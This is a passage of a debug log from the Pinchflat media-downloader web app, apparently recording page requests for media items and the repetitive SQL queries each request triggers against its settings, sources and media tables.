s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.874 [info] GET /sources/30/media/137801/edit 04:53:47.874 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "137801", "source_id" => "30"} Pipelines: [:browser] 04:53:47.875 [debug] QUERY OK source="settings" db=1.3ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.875 [debug] QUERY OK source="media_items" db=1.9ms idle=6.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91231] 04:53:47.876 [debug] QUERY OK source="media_items" db=1.3ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137801] 04:53:47.877 [debug] QUERY OK source="settings" db=0.7ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.877 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=3.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91231] 04:53:47.878 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:47.879 [debug] QUERY OK source="settings" db=1.2ms queue=0.5ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.880 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.881 [debug] QUERY OK source="settings" db=1.7ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.883 [debug] QUERY OK source="media_profiles" db=3.4ms queue=0.3ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.883 [debug] QUERY OK source="settings" db=1.9ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.884 [debug] QUERY OK source="settings" db=1.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.885 [debug] QUERY OK source="settings" db=1.1ms queue=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.888 [debug] QUERY OK source="media_profiles" db=0.4ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.888 [info] Sent 200 in 14ms 04:53:47.891 [info] Sent 200 in 24ms 04:53:47.894 [info] Sent 200 in 21ms 04:53:47.933 [info] GET /sources/31/media/91231/edit 04:53:47.933 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91231", "source_id" => "31"} Pipelines: [:browser] 04:53:47.934 [debug] QUERY OK source="media_items" db=0.4ms idle=51.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91231] 04:53:47.935 [debug] QUERY OK source="settings" db=0.2ms idle=52.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.936 [debug] QUERY OK source="settings" db=0.3ms idle=52.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.937 [debug] QUERY OK source="settings" db=0.2ms idle=51.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.941 [info] Sent 200 in 8ms 04:53:47.965 [info] GET /sources/31/media/91232 04:53:47.966 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91232", "source_id" => "31"} Pipelines: [:browser] 04:53:47.967 [debug] QUERY OK source="media_items" db=0.4ms idle=78.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91232] 04:53:47.968 [info] GET /sources/30/media/137375 04:53:47.968 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "137375", "source_id" => "30"} Pipelines: [:browser] 04:53:47.968 [debug] QUERY OK source="tasks" db=0.6ms queue=0.2ms idle=33.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91232] 04:53:47.969 [debug] QUERY OK source="sources" db=1.4ms idle=32.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:47.970 [debug] QUERY OK source="media_items" db=1.5ms idle=32.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137375] 04:53:47.970 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=32.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.972 [debug] QUERY OK source="tasks" db=1.1ms queue=0.2ms idle=3.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [137375] 04:53:47.973 [debug] QUERY OK source="settings" db=1.3ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.973 [debug] QUERY OK source="sources" db=1.8ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:47.975 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.975 [debug] QUERY OK source="oban_jobs" db=1.1ms queue=0.1ms idle=3.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [6974] 04:53:47.976 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.977 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.978 [debug] QUERY OK source="media_profiles" db=0.6ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.981 [debug] QUERY OK source="settings" db=2.7ms queue=0.1ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.983 [info] Sent 200 in 18ms 04:53:47.983 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.989 [info] Sent 200 in 20ms 04:53:48.029 [info] GET /sources/30/media/137375/edit 04:53:48.030 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "137375", "source_id" => "30"} Pipelines: [:browser] 04:53:48.031 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=53.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137375] 04:53:48.032 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=54.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.033 [debug] QUERY OK source="settings" db=0.2ms idle=54.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.034 [debug] QUERY OK source="settings" db=0.2ms idle=52.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.037 [info] Sent 200 in 7ms 04:53:48.046 [info] GET /sources/31/media/91232/edit 04:53:48.046 [info] GET /sources/30/media/137161 04:53:48.046 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91232", "source_id" => "31"} Pipelines: [:browser] 04:53:48.046 [info] GET /sources/30/media/137161/edit 04:53:48.046 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "137161", "source_id" => "30"} Pipelines: [:browser] 04:53:48.047 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "137161", "source_id" => "30"} Pipelines: [:browser] 04:53:48.049 [debug] QUERY OK source="media_items" db=2.0ms idle=63.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91232] 04:53:48.050 [debug] QUERY OK source="media_items" db=2.4ms idle=16.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137161] 04:53:48.050 [debug] QUERY OK source="media_items" db=1.9ms queue=0.1ms idle=15.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137161] 04:53:48.051 [debug] QUERY OK source="settings" db=0.6ms idle=17.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.052 [debug] QUERY OK source="tasks" db=1.9ms queue=0.1ms idle=16.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [137161] 04:53:48.052 [debug] QUERY OK source="settings" db=1.8ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.053 [debug] QUERY OK source="settings" db=1.9ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.053 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:48.053 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.055 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=1.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [6957] 04:53:48.056 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.056 [debug] QUERY OK source="settings" db=1.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.056 [debug] QUERY OK source="settings" db=0.4ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.057 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.059 [debug] QUERY OK source="settings" db=0.4ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:48.059 [info] Sent 200 in 13ms 04:53:48.059 [info] Sent 200 in 13ms 04:53:48.061 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:48.067 [info] Sent 200 in 20ms 04:53:48.095 [info] GET /sources/31/media/91233 04:53:48.095 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91233", "source_id" => "31"} Pipelines: [:browser] 04:53:48.096 [debug] QUERY OK source="media_items" db=0.5ms idle=39.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91233] 04:53:48.098 [debug] QUERY OK source="tasks" db=0.4ms idle=40.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91233] 04:53:48.098 [debug] QUERY OK source="sources" db=0.7ms idle=39.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", 